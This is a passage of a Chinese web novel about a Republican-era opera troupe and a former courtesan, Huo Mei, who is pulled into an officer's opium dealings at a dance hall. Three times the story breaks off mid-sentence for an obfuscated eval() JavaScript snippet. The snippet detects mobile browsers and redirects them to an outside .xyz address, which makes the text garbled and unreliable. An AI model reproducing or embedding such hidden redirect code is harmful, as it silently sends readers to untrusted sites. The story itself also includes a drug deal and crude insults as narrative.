陆陆续续来了客人,她缩到后台去,免得被看见。几个演员正坐在镜子前化妆,先往脸上涂一层白色油彩,然后用细毛笔蘸彩色颜料细细描摹眼型、眉毛、嘴唇,其后包头。碎发得用发网束住,再拿两根黑带将额头勒紧、将眉梢眼角吊起来,就可以贴发片了。 那发片看上去湿漉漉油腻腻的,王苏先往脸颊、额头涂了点蜂蜜,再绕着弯弯贴发片,发片便黏得更严实了些。霍眉有些好奇,过去用手指摸了摸,“这上面涂了什么?” “刨花水。”王苏想了想,很委婉地告诉她,“以前是后台人员刮片子的。” “我不知道,你现在说了,以后我就知道了。什么叫刮片子?” 王苏便给她演示:将刨花水涂在发片上,拿梳子反复梳,让刨花水完全渗进去。 发片贴完后,须得再勒一层头,垫发包、戴假发套,最后勒层水纱保证这重重叠叠的玩意儿牢固难掉。演员们又从脚下的木箱中取出各种头饰,也就是硬头面,丁零当啷地往头上插,不知道这些工序过后一个脑袋要变成几个重。 “今日你扮什么?”她又问。 王苏笑道:“潘金莲。” 8. 潘金莲 戏台上的布景也由后台负责,霍眉暂且还不知道每个剧目所对应的布景,跟在席秉诚后面学习。戏台中央放张象征灵堂的、有白色帷幔的桌子,摆上武大郎牌位和两只香烛,一左一右还需两张白椅子。 “等会玉麟把人头往幕后一扔,你赶紧捡回来,知道了么?” 她点头,回望一眼席玉麟,发现他正在往青黑的褶子里塞了两个......垫肩。 席玉麟本就不算高,身材也清瘦,那日穿一身花青色裙装、细腰一勒,任谁看了都觉得扮女人正确得很。现在扮这武松就实在差点意思了,就算穿了武生的厚底鞋、肩上腰周都塞上好几个布包,也难生武松的魁梧威猛之感。 小婆娘。她在心中点评道。 后台的学徒们抱着胡琴、锣鼓、梆子也就位了,十二点开锣。霍眉撑着脑袋和学徒们坐在一起,听到王苏圆润高亢的唱腔撞透幕布、字字清楚地滚到他们耳朵里,纵使她不爱听戏,也要承认王苏无疑是有唱腔功夫的。 潘金莲一边走台步,一边唱独白,交代清楚前情提要。席玉麟就站在他们前面听着,听到轮到自己了,那副无动于衷的表情便立马切换成怒目圆睁,一手提刀一手提头,踢开幕布走出去。 霍眉凑到幕布的孔隙边看,是一段两人的短打戏:武松拽住潘金莲的水袖,连连挥刀;潘金莲绕着他躲闪,耍水袖的轨迹正好和他耍刀花的轨迹形成一个圆。打了许久,武松把西门庆的头一扔,突然喝道:“第一刀!” 声音太大,刺地霍眉一哆嗦,捡起假头往后退了点。 武松在空中翻了个跟头,落地后顺势又转一圈,做出劈砍姿态;潘金莲连退数步,咚的一声扑倒在地,相连的木质地板都震了震。 “第一刀替你父母砍,生你不孝又不贤!” 武松绕了一圈台步,抛高刀又接住,朝右边行了个抱拳礼,潘金莲爬起来,往左边一甩水袖,高声道:“奴自由父母亡伶仃苦难,卖身换取殡葬钱。说什么女训与规范,潘金莲我只有——苦泪涟涟!” 两人绕圈兜着走,潘金莲拿袖子抵着胸口,唱到“涟涟”二字时头、肩俱颤,珠翠相碰,簌簌作响。 “第二刀!第二刀替我兄长砍,杀你恶妇丧心肝。” 武松直直冲过去,潘金莲仰颈向后抛水袖,再向前跪地,用膝盖旋转一圈,扭身望着武松。 “第二刀应向灵牌砍!”挽袖伸出一只纤手,怒指灵牌,“他人善,性情软,不像男!” “如此说来,这一刀二刀都不公?好,这第三刀,第三刀杀你自作贱!” 武松一手抓住水袖绕了潘金莲一圈,一手持刀抵在她颈边。潘金莲跪地,仍望着他,“第三刀杀我无怨。” 两人又是一阵短打,潘金莲却挣开武松,说临死之前有两个愿望,第一是敬他一杯酒。 “两年前我初次见你,因你打死猛虎为民除害,你披红挂彩、打马游街,英武之状令人称羡。游街之后,你回家探兄,回得家来,奴欣喜若狂,备酒奉上,连敬两杯,你都不饮,令奴难堪。今日、今日这第三杯酒么,求兄弟念在叔嫂之情和羡君之心,为一个将死之人的心愿得偿。” 潘金莲将酒碗高举头顶,直直跪下。 “此酒有违伦理纲常,我怎能饮你此酒。” “你错把真情当下贱,屈煞我一腔挚爱在心间。是女儿,哪个不把意中人儿恋?” 潘金莲一边唱,一边脚下飘飘摇摇、歪歪倒倒的走,姿态虽柔弱,神态却刚烈,水袖曳地,一步一步朝着武松走去;武松持着刀、占着理,却只有被她逼着一步步后退的份儿。最后她连喊三声“叔叔请用酒”,犹豫不决的武松总算是用刀把酒碗挑走了,想了想又不敢喝,放回桌子上,气得要杀她,半天又下不了手。 不知道这部剧里的武松是本就被潘金莲感染,还是席玉麟扮演的太烂,霍眉感觉这位打虎英雄身上居然流露出一种......窝囊感。唱到“俺武松平日里豪气英迈,却怎么泪水自溢流满腮”时,脸上早就全是汗,他挥袖一抹脸,精准地用手指蘸着黑色的全包眼影往下一划,划出两道黑。 观众席爆发出叫好声:英雄被罪妇打动了。 霍眉于是知道,窝囊感是演得好。 武松咬着牙耍刀,翻转挪腾,绕着潘金莲舞来舞去就是不刺她。潘金莲趁机提出了第二个要求:你要杀的是潘金莲,而我身着孝服,是你嫂嫂。可否让我脱去孝服,换上红妆,再杀不迟? 武松背过身去,胸腔仍剧烈起伏着。潘金莲两下极其粗暴地将白衣、白头花扯下来,露出大红色的肚兜。 “嫂嫂!”惊骇之下武松叫出声,观众和他一起叫。 潘金莲听到这声“嫂嫂”更是起劲,绕到他身边唱,甚至拽出肚兜给他看上面绣着的一个“松”字。武松气急要砍,“哇呀呀呀”一声,又放下刀来;潘金莲立刻从后面抱住他。 “叔叔!” “撒手!” “叔叔!” “撒手!” 两人抓住对方的手,同时一个后空翻,武松背对着潘金莲,已将刀刺入她的腹部。 “能死在叔叔手下,我死而无憾。” 仿佛是才意识到自己杀了潘金莲似的,武松急退数步,看她一眼,又低头看自己的双手;在此同时,潘金莲将刀柄推得更深,挺胸掉头,向后坠去。 在霍眉以为她又要往地上直愣愣地摔一次时,武松大步上前,接住了她。 两人站起来向观众席鞠了一躬,下面再次爆发出雷鸣般的掌声。霍眉佝着背跑出来收道具,下一场是另一个戏班借场地唱的《锁麟囊》,需要迅速换上布景。 席玉麟没搭理正要帮忙的她,顺手把两张椅子倒扣在桌上,一次性将道具全端走了。 下一个戏班也不指望她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003773|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自个儿开始搬道具。霍眉落了个清闲,跑去帮王苏卸头面,把那些头饰都分门别类地在木盒里装好了。 王苏往脸上涂了些菜籽油,揉搓许久,再用清水洗掉。这一套下来,脸都搓红了,她又从装蜂蜜的罐子里珍惜地舀了一小勺敷脸,抹开后,薄的快没有。旁边的席玉麟早已卸完妆,一场戏演下来本就大汗淋漓,化妆室内更是逼仄闷热,他直接脱掉上衣,长裤也卷到膝盖上面,摇着蒲扇晃出去了。 毕竟从小练功,再瘦也是有肌肉的;但因为摄入蛋白和休息都严重不足,肌肉长不成块状,只能形成干硬的纵向长线条、一根一根刻在身上。更何况他下台后毫无体态,走路还驼背,脊椎把皮肤顶出一节节明显的凸起。 恰好席秉诚买完东西从外面回来,因为化妆室里都是人,也就没瞧见她。他帮着把空着的化妆台收拾了一下,又从怀里掏出个小瓶子,里面装着蜂蜜,全倒进了王苏的罐子里。一回头,看见霍眉正瞧着自己乐,立刻用极不自然的音量转移了话题:“第一次看戏,感觉如何?” “感觉大师姐好乖。” “哈哈......玉麟师弟如何?” “瘦了吧唧的,不像武松。”霍眉见他虽也不高,却是一身的腱子肉,“怎么不是你演?” “我么,我是丑角呀!丑角的姿态和唱腔都是特殊的,不好串演别的行当。至于老二,专攻花脸,演不了武戏,所以只能是玉麟上。”他牢牢抓住了这个很值得一讲的话题,滔滔不绝地将她的注意力转移了,“玉麟从五岁入门,学了十几年的旦角,三年前——你也知道,漱金分流了。我们本就以旦角见长,旦角实在太多,留下来的竟没有一个武生,只能让玉麟改行。” “他就一张脸合适。” “哎呀,不不,”席秉诚讲投入了,很认真地为师弟辩护起来,“他是我们中最扎实的一个。别看台柱子是大师姐,大师姐比他要大十几岁;倘若漱金不分流,假以时日,玉麟绝对是当之无愧的台柱子。你是没看到......” 有个学徒拽了拽席秉诚的衣角,说胡琴弦松了,他朝霍眉笑了笑就带着孩子拿工具去了。 霍眉把脱下来仍在地上汗津津的戏服挂起来,戏服不能常洗,她日常的维护工作只能挂起来给风吹、给太阳晒,顶多再泡一泡;又把堆满了颜料、盆碗的化妆台收拾好,洗个手便去厨房帮张大娘的忙。今天的大锅菜是四季豆炒猪肉,张大娘正踩着板凳奋力搅着,一见她来,嘴上赶人,脸上已经笑逐颜开了。 “哦哟,小霍,这不是你的工作啊。” “还是那句话——闲着也是闲着。” 张大娘过意不去,把锅端出去之前,先让她夹了几筷子。 晚饭还是照常在厨房边上吃,大家坐在油腻腻的长凳上,急地不讲话。吃一半的时候席芳心进来了,看见他的那一瞬间,霍眉的心脏比食物更快地掉入胃里。 9. 阴魂 那根珍珠点翠簪正插在他发髻里。 民国强制剪辫子后,男人就普遍留短发,只有极个别学了西洋艺术、总想标新立异的年轻人会想着蓄发。席芳心是个臃肿的老头儿,蓄发已然是不伦不类了;霍眉是怎么都没想到他会插着一支明显是女子使用的发簪上街。 就像席芳心大概也不会想到,唯一认识这根发簪的人正是要找她的人一样。 霍眉真的快崩溃了。 只听席芳心又道:“......孙将军要办庆功宴,点漱金最后一个上台,差不多就到凌晨一两点了。到时候会在嘉陵饭店门口搭台子,我们十点就要去候场。” “我们岂不是压轴的?”席秉诚笑道,“孙将军眼光倒是好。” 漱金式微以来,很少受官方钦点在大型活动中演出。他是惯常说场面话的,无奈拍马屁拍到了马腿上,席芳心顿时脸一黑,“压轴是倒数第二个。何况到了那么晚,人都走光了,是对着空气唱,你明不明白?” 满屋谁也不敢开口。他拿筷子在桌边有一搭没一搭地磕着,“演白蛇。尚文能不能上台了?” “可以的!” “明天开始,你起床便直接来找我,我指点你一周。学徒就暂时由玉麟代为管教。” 又寂静片刻,王苏发问:“刘师叔……他们也会去吧?” 《白蛇传》是本戏,不是两三个演员就能演完的,各路神仙天官、妖魔鬼怪能有三十多个,刘洪生的班子必然要出人。席芳心刚一点头,几个徒弟的眼睛就亮了,显然是相当喜欢这个师叔。 唯有席玉麟埋头扒饭。 “玉麟。”席芳心的视线越过众人落在他身上,“要唱六个小时,你的戏份也大,留点神,不要出岔子。” 席玉麟扒完最后一口饭,把筷子不轻不重地搁在碗上,也不知道是心情不好还是单纯只是放筷子,跟着跨出了门槛。 但心情最烂的还是当属霍眉。她不知道孙珍贻是以怎样的形式通知席芳心的,是叫下官全权负责此事,下官又派了个跑腿儿的告诉他;还是把他叫到帅府门口,让包括范章骅在内的一众军官看了个仔细? 这样惴惴不安地过了几日,睡觉都时常惊醒,却始终任何事情发生。她一颗心又逐渐回归了原位,回到最关心的钱上面。 帮张大娘的忙也帮了好几日了,某次趁着聊到了“赚补贴”的话题,她捏了捏张大娘的手臂,“我正有此意呢!钱不就是靠着一点一点攒起来的吗?可惜席班主不许我出门,材料也没法买到。” “你要什么材料?”张大娘果然道,“你想做什么?” “不知道你家里有没有不要的旧衣服?” “哪有旧衣服这一说法呢!衣服嘛,缝缝补补改改,总能给更小的孩子用。” “那你能替我去布店淘些回来吗?旧衣服旧裤子呀,织断了的布啊,都行。”霍眉一边说,一边塞了两块银元到她手里,“我会纳千层底,会做虎头鞋,平日里闲着不如做这些。” 张大娘自然是满口答应,很为帮得上她的忙而高兴。 布料买回来后,张大娘为了表示对她事业的支持,帮着霍眉熬浆糊、打袼褙,粘了足足六层,放在晾衣杆边支起来晾成布板。期间有任意一个孩子接近她便会怒骂不止。 袼褙打好后,切成鞋底,包上白边,还需再相互粘合一道。不然怎么说是“千层底”?到这时鞋底已然相当厚实松软了,后续不管是圈底还是纳底都需要麻线,就先被霍眉束之高阁了。 她又托张大娘买回苎麻,开始搓麻线。 那双柔软、白里泛红的手是如此娴熟灵巧,掌根快速捻动,枯草般的苎麻就迅速收为绳结。搓好一段,她就往屁股下面递一段,用力坐住,麻绳在她身周、脚下盘绕很长,却不打结,好像是她身上长出的根脉。 张大娘出神地望着她,突然说:“要是我儿子晚些结婚就好了,你来我们家做媳妇。” 霍眉含着笑意瞟她一眼。 “真的,”她说,“我一点儿也不嫌你是乡下姑娘!乡下姑娘有什么不好?心眼也好,人也勤快,样样比我那个好吃懒做的媳妇强。” 这段时间总有人说出这句“不嫌弃你”,王苏和穆尚文是打心底认为当婊子的本就该被所有人瞧不起,她们不嫌她脏,是一种善意的表达;张大娘也发自肺腑地觉得乡下人就是粗笨,而让霍眉这个乡下人配她儿子,是对霍眉从人格到能力极大赞美。 说实话,霍眉觉得这些人都挺不错的,她甚至还表示了赞同——反正哄别人开心又不要钱。而在心里将她们当笑话看又是另一回事了,好人往往都像笑话。 今日编了二十多条麻绳,便挂在晾衣绳上晒着。恰好席玉麟也在那里晒被子,依然是吊着一张驴脸,张口便是:“一会儿就要开锣了,你不去帮师姐的忙,又在这里做私活。” “我回去就帮她的忙了。”她没好气道。 观众已经三三两两进了大门,大部分在戏楼落座,其余人在外面闲逛透气,想等到正式开锣再回去。不远处就有一人倚着大树抽烟,霍眉掀开在风中翻卷的层层晾晒物,嘴上招呼着:“不好意思啊看官,小心火星子把衣物点着了……” 掀开最后一层被套,抽烟的那人出现在眼前:身着褐绿色军装,帽檐压的很低,一双冷淡的眼珠在帽檐的阴影下亮的出奇。 霍眉一把扯下被套扔过去,扭头就跑。跑了两步后清晰而绝望地意识到自己哪里跑得掉,却不愿放过最后一根救命稻草,冲到席玉麟背后揪住他的衣摆。 席玉麟一愣,见范章骅已经走到眼前了,试探地开口:“看官,她是哪里冒犯——” “把她给我。” 范章骅往旁边进了一步,席玉麟也跟着挪旋了一步。他猜这必然又是霍眉在怡乐院时欠下的孽债了,居然把麻烦带给了漱金,已然厌烦得不想管;又瞧见了范章骅肩章,更知此人是自己三条命都招惹不起的。 “霍眉已经离开怡乐院了,如果你想带走她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003774|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可以问问席班主的——” 砰的一枪打在了两人脚边。 霍眉明显感觉到席玉麟浑身震了一下,随后若无其事地走开了。 ……太符合她对席玉麟的印象了。所以刚才为什么期待了一下他会救自己啊? 衣摆从手中被抽走,她一下失去力气、跪坐在地。范章骅大马金刀地蹲下,把一口烟喷在她脸上,“见到我不开心吗?今天是星期五啊。” “不开心。”她仍垂着头,小声说,“你不信我。” “我怎么就不信你了?” “你——你还开枪!伤到我了怎么办?你根本就没信我的解释,”霍眉爬起来,梗着脖子看向他,“来啊,照着脑袋打,省的你夜长梦多。” 范章骅笑了,吐掉短短一截烟蒂,一手揽住她的腰、扛上肩头,就这样在众目睽睽中把人扛出了大门、扔进车里。他刚要替她关车门,霍眉突然伸出一条腿来,情急之下只得扑回来把车门拉住,先检查她腿上被夹出的浅浅一道红印,再抬头瞪她。 霍眉撅着嘴,瞪回去。 范章骅的语调变冷:“怎么,不想和我出去?” “我是真的离开怡乐院了,现在是良籍,哪能随随便便跟个男人出去?你今日当着大家的面扛我,本来就损了我的名誉;现在又让我上你的车。这算什么?” 听到“损了我的名誉”那里,范章骅已然露出了讥讽的微笑;霍眉也自知这话听来好笑,只能硬着头皮维持委屈。 最后他把她的腿塞进去,摔上门,从另一侧进来,一进来就把手搭在她大腿上。 “算男女朋友。”他说,“新时代了,男女朋友可以这么亲密的。” 司机把车开了出去。 霍眉仍然不知道他信没信,但感觉他一时半会儿也不会突然暴怒崩了自己,心也就稍微安定下来了。只要范章骅还愿意和自己相处,她就还有机会把黑的说成白的。 半路上范章骅说了来由:晚上有个舞会,需要带女伴同去。霍眉一听就明白了,即使范章骅有众多情人,在这种交际场合还是自己最拿得出手。但她今天穿着皱巴巴的倒大袖和袴子,怎么能参加舞会? 正疑惑着,车就停在了一家成衣店门口。老板是法国人,店内卖的也都是洋裙,范章骅示意她下去挑一件。霍眉心中大喜,一秒也不敢耽搁就开始试裙子;范章骅就抱臂坐在沙发上,隔一会儿看一下手表。 “霍眉。”他叫道。 霍眉正在二楼,连忙探出身子来,“时间紧吗?那就这一条。” “时间够。你没挑到满意的?” “这家的泡泡袖都太大了。”她往身上比划,“显胖。” “你都发现袖子大了还在那里试个什么东西?”他无语道,“下来,换一家店。” 霍眉嘿嘿笑着跑下来了,楼梯陡,跑到倒数第二层处还绊了一下。范章骅伸手扶住她,她两条胳膊便都绕上了他的手臂,脸也贴过去,像他的挂件般出了门。 10. 舞厅 下午的天空晴朗,浅淡的云絮浮在表面,像是玻璃外没刮干净的泡沫。光线也丰盈。霍眉简直没法想象这样大好的时光全是用来给自己试衣服的,因此即使知道考验在即,也相当享受这一过程。 三点多时他们买好了裙子:露肩式,胸口处镶的荷叶边顺带裹住了大臂,便直接省去了袖子;腰后有拉绳,可以把腰束得极细;裙摆却有很多层,细腻柔软,跟随着她的腿部动作而像水波纹般涌动。 范章骅看着她露出的肩膀,意味不明地笑了笑;又掀开裙摆,看到绣鞋是淡淡的藕粉色才放心,“把你这不伦不类的鞋藏好了。若你是放足,还能再选一双高跟鞋。” “已经够叫你破费了。”她笑道,“这一身多少钱呀?” “不贵。” 又去理发店陪她做了个发型,才将车不急不缓向舞厅开去。舞厅很有些年纪了,通体灰色,只有炫亮的一圈灯泡把“嘉陵舞厅”四个字照亮;内部还算明亮齐整,中间圈出舞池,四周有座位可供休息。巴青是个小城市,这舞厅已经是最摩登的地方了,青年男女没事就爱来这里。 “千里,巴青城好多产业都叫‘嘉陵’啊。” “都属于一位叫程筹的企业家。”范章骅简短地回答道,指了指不远处坐着的一桌四人,“都怪你太磨蹭,他们人都到齐了。” 那一桌人也望向这边,纷纷站起来:穿棕色西装的男人四肢如竹枝般细瘦、发际线很高,笑起来眼尾炸花,挽着他手的女伴应该是家中姊妹,长相相似,但总归是比他好看些;另一个男人矮小的惊人,只到霍眉的肩膀处,他的女伴穿着和服。 “这位是蔡行健医生,Dr.Cai,”范章骅笑着拍了拍棕色西装的肩膀,又摊手向另一位,“今井和也。” 原来是个鬼子。 蔡行健瞅了霍眉一眼,眯眼笑道:“我说你怎么来得那么迟?原来有这样漂亮的小姐作陪,乐不思蜀,把我们这些老朋友凑的局给忘了!” “岂敢岂敢。” “喝什么?没替你点。” “白兰地吧。” 蔡行健立刻招呼服务生过来。一听他们还在等着范章骅点酒,霍眉便知道这桌人尚未买单,顺手把范章骅腰间的钱包解下去付了账又很快回来,替他重新扣上。此时三个男人才刚刚落座,酒已经上了桌。 又寒暄片刻,今井和也率先切入正题,“那么,孙将军给我们的答复是什么?” 范章骅摇晃着高脚杯,一时半会儿没说话。琥珀色的液体虽晶莹剔透,同时却有挂杯感,层层水膜像沙滩上的海浪般褪去。霍眉知道这是桶藏年份长的证明。 “孙将军压力也是很大,”最终他说,“关系到经济和治安......” “范先生,我是个商人,不是军人。” “我是军人。”他纠正道,“范副官。” “啊,哦,范副官——” 蔡行健突然轻笑起来:“千里啊,明明是好消息,你却在这里卖关子。快别捉弄今井先生了!” 于是范章骅也跟着大笑起来。今井和也的表情有些勉强,最终选择摘下眼镜,仔细擦拭镜片。 “孙将军的意思是可以。只有一点,烟粉必须严格控制在巴青城内,城门口也会设关卡严查。”范章骅望向今井和也,由于他比人家高太多,这一眼是斜着向下瞟的,“毕竟孙将军是体恤民生的。但这东西若流出去,竞争力太强,会断了其他防制区军费的来源。现在除了西南二刘以外,各家已经不大动干戈了,今井先生也不想惹麻烦吧?” “这点规矩我自然知道,范副官何苦夸大至此。” 霍眉听明白了。三人一个代表官方,一个代表开发者,一个代表投资方,谈论一种烟粉的研发。她还听明白了范章骅对这个鬼子不怎么客气,对蔡行健确实很客气的,于是看见蔡行健酒杯空了一半便重新帮他斟上。 蔡行健双手捏着杯梗说了好几遍“多谢”,要与她碰杯。她其实不怎么能喝这种高度数的酒,但既然人家杯子都举起来了,便只能用杯口轻轻撞了他的杯腹,很给面子地一饮而尽。 时候晚了,天已经暗下来,服务生将提前订好的餐品都上上来:每人一份夏多布里昂牛排和扁豆汤。 霍眉帮范章骅切牛排的时候便感觉酒劲儿上来了,头晕的同时又极度亢奋,眼前的景象也分出好几道重影。却丝毫不敢晕,只能在下面狂拧自己的大腿。 更糟糕的是,蔡行健邀请她去跳舞。 “行啊,”范章骅后靠在椅背上,“去吧。” “我可不是问你!我问的是霍小姐的意见。” “千里的意见就是我的意见。”她言笑晏晏地站起来,把一只手递给他。 她的交际舞跳得不怎么样,更何况蔡行健跟个麻杆儿似的,像普通女步那样将上半身挂在男步身上必然会导致蔡行健跳得很累,只能自己用臂力撑着他。两首曲子下来,整个舞池都在眼前旋转了;偏偏范章骅又要过来跟她跳。 “累不累?” “很晕,但是不累。我感觉我能跳一整夜!”她叫道,绕着范章骅转了两圈,“像那个童话故事里穿上了红舞鞋的女孩,一直跳一直跳,直到有人来把她的脚砍掉。” “提这种狗屁童话干什么,想让我砍掉你的脚吗?” “你舍不得的。” 霍眉站在他正前方,拉着他的双手一步步往后退,将他引入舞池;酒醪一样温软、雾白的双颊上浮现潮红,黑润润的眼睛也是湿的,像桃花潭。其实她是个很东方的女人,若不是需要跳舞,本该穿旗袍的。范章骅向她走去,是一个在水中找不到支点的人,被浩浩汤汤、温柔却不容置喙的浪波推过去。 他为她伟大的美而闭上眼。闭上眼,他想起厨房里咕嘟的陶瓷壶,想起家门口青碧的岷江,想起水稻田、春雨和母亲,想不起霍眉。 到了后半夜大家都累得跳不动了,抽着烟提神,有一搭没一搭地闲聊。其实正事也谈完了,玩乐的过场也走完了,现在还不散场主要是因为蔡行健还没有离开的意思。他开始高谈哲学艺术,今井和也勉强能附和几句,范章骅这个没文化的完全听不懂,显得有点不耐烦,不知道在说给谁听。 “......一般人提到勃朗宁,会想到谁?罗伯特勃朗宁。而我想到的却是他的夫人,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003775|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是英国女诗人中最有成就的。这是一对在才情、志趣上相投的爱侣,最后勃朗宁夫人枕在她丈夫的手臂上睡去,也就死了。很平静、圆融的死亡......在我看来,比一切壮烈的死亡都要好啊!” 范章骅坐直了,因为他刚正枕在霍眉手臂上休息,感觉像被只蚊子若无其事的叮了一下又飞走。 他尚且没说什么,霍眉突然站起来,柔声道:“蔡医生,抱歉打断你的雅兴,但我真的有些累了。” “噢,当然,当然!霍小姐快回家休息吧,路上慢些。” 众人也都纷纷站起来,如蒙大赦,就连蔡行健的姊妹都显得很高兴。蔡行健和今井还抢着去付账,争了半天跑到前台,却被告知已经付过了。 刚上车,范章骅便枕着她的大腿睡着了;霍眉倒是一点也不困,可能第一次喝这么多烈酒的缘故,亢奋到闭上眼也有影像在脑海中演绎,被田妈打伤的那只耳朵中也呼啸着尖利的鸣叫。 司机将车开到了私人住宅门口。她将车窗摇开一条缝儿,没有动也没有做声,就这么静坐了几个小时;直到范章骅睁开眼,揉着太阳穴无声地骂了几句。 “我服侍你上楼去洗个澡吧?” 范章骅在她腿上翻了个身,亲了亲她的小腹,对司机说:“去漱金。” “好啊,”她俯下身来,在他耳边说,“不让我上去,金屋里藏了娇。” “谁能比得过你娇。” 车内拉着窗帘,窗帘有瓦楞纸的形状,因此投到车内的光影也是一栏一栏的,随着车的行驶而游移着。虽说是光栏在经过她,霍眉却觉得永恒奔逃的明明是自己,自己身处铁笼之中,正贴着栏杆走;对角处还有一只野兽,在为撕咬她而绕行、蛰伏。 亲手把车门关上,过量的阳光毫不吝啬地当头浇下。已经是下午散戏的时候,漱金门口人流如织,推着她踉踉跄跄往里走。霍眉把双臂抱在身前,慢慢回了后台,开始收拾行李。 都听说了,都看到了。席芳心暂时没发话,因此漱金的各位也不知该怎样应对她,面面相觑,加快了卸妆速度,很快都离开了后台。 最后就剩席玉麟在那里。他早已卸完妆了,似乎是想跟她说话,又不愿在众人面前说,便莫名其妙地把衣柜里的几套戏服展开又叠回去。等到只剩她时才开口:“去干什么?” “躲起来。” “我......” “道歉就免了吧。” 席玉麟突然感到莫名的烦躁,他本来就没打算道歉。是她自己的烂账,他凭什么因为撞见了,就平白多了一层帮她的义务?为什么要说这种话,弄得像他对不起她一样? 偏生他又不能轻易开口骂她。这个女人的嘴很厉害,现在他还觉得自己占理,恐怕她回击时便这能把理咬碎。仔细思索一翻,席玉麟决定把这个瘪吃下去,反正再也不见她了。 正要朝门口走去,霍眉突然在后面“喂”了一声。他加快了脚步,一只手已经把门推开了,她的声音却追着钻入耳朵里:“毕竟你没什么对不起我的。可是你的小自尊呢?席玉麟,就敢欺负女人,遇到真权贵却只有落荒而逃的份儿了?” 11. 瘾 简直有什么在脑子里炸了。他扭头喊道:“我什么时候欺负过女人?那天明明就是你先——你先——” “我对你说了句话,你便把我摔地上了。是不是你先动的手?” 席玉麟整张脸都白了,“好,我先动的手!但根本就是两码事,你俩的纠葛本来就和我无关,我为什么要去惹那个上尉?你怎么能这样说?” 霍眉快笑死了,“哎哟哟,你好会吵架啊,‘你怎么能这样说’?我这样说已经很放过你了好吗?你想我怎么说啊?把你老汉儿用生姜焯水拌在你妈经血里给你壮壮阳?估计喝下去你在外面也是个怂的。” 她一边骂,一边感觉在席玉麟身上有点太耽误时间了,万一范章骅打道回府怎么办呢?想起身上还有件价值不菲的裙子,应该仔细收起来,直接当他的面开始解束腰。 席玉麟胸膛起伏程度简直像有油泵在里面跳,转身就走,似乎还在楼梯上绊了一跤。霍眉低头将裙子整个儿褪下来,嘴上仍不饶人:“生气了一定要对着我骂出来啊!小心乳腺长瘤子。” 她将木箱合上。白得了一条裙子,气也撒出去了,只觉得精神抖擞。不得不说酒真是个好东西啊。 晚上十点。 练功房里点着油灯,一片喧闹鼓噪。学徒们为即将到来的登台机会加倍训练着,白蛇传是早排完了,可踢腿的、垫子上翻跟头的仍有许多。穆尚文刚从席芳心房里出来,哭得眼睛都肿了,也没人问她怎么了。都知道席芳心教学生的时候手上爱拿根藤条,一边活动嘴部,一边活动手部。 说起来,席芳心一整天都在教穆尚文,应该还不知道霍眉不知会一声就擅自跑了的消息。 “忆当初,白莲池中遭磨难,冷月寒霜度时光。好容易,断枷锁闯庙堂,投身红尘任翱翔,且看我今朝,风动云鬓,衣袖翩翩——衣袖翩翩还是衣袂翩翩?” 席玉麟手上拿着厚厚一摞剧本,看了一眼:“对的,衣袖翩翩。” “这出戏本该是一点犹疑之处都没有的。”王苏笑道,“太久没唱了。青哥,你说是不是?” “是。” 正说笑着,张大娘突然来到两人身边,喘着粗气,“知不知道小霍到哪里去了?” “什么事?” “门口有个人,说他是范章骅副官的亲兵,要找小霍哟。” 说到“副官”二字时,几人神情都是一凛。王苏迟疑着站起身,席玉麟把剧本塞到她手里,“你在这里待着,我去,应该没什么事。” 嘴上说着没什么事,心中仍在打鼓,走到没点灯的大门口时汗毛都竖了起来。好在副官的亲兵是个半大孩子,叫他多少还是拿回了点主意,“长官,霍眉已经离开漱金了。请问有什么事?” “副官叫我去了怡乐院一趟,看看有没有给她的信,刚好有一封,我就送过来了。” “但是她已经不在了。” “那怎么办?”亲兵皱着眉说,“副官是在这大门口把她放下来的,我要交差啊。” 你要交差你不会自己去找人吗?你还开着小轿车啊?席玉麟到底是憋住了,接过信封,目送着黑色轿车融入黑色。看到收信人的“霍眉”二字一股恶气已经窜上了天灵盖,他真恨不得即刻烧了;又怕她后续又跟那个副官纠缠到一起,一对账,发现信在他这一环节消失了。 他扣上帽子低头走了出去。 实际上席玉麟并不指望真能找到她,他只是在街上漫无目的地走,想着霍眉,忍受着在体内横冲直撞的愤怒。 霍眉不像人,她没有道德、没有善恶、没有情义,无知无觉的像条野兽,给她骨头吃她就摇尾巴,不给她骨头她就来咬你一口。人情难讲,理就更讲不通了,她自甘作贱,却来嘲笑他这个在贱的边缘还要挣扎一番的人?五十步笑百步也就罢了,岂有百步笑五十步的道理。 他走到了一家西点店门口,巴青的唯一一家西点店。 现在应该十一点多了,只能放一日的蛋糕会打折出售、甚至白送。席玉麟看着光洁的大理石阶梯犹豫了一番,最终进去,买个甜奶油圆面包。打了三折,还要四百文。 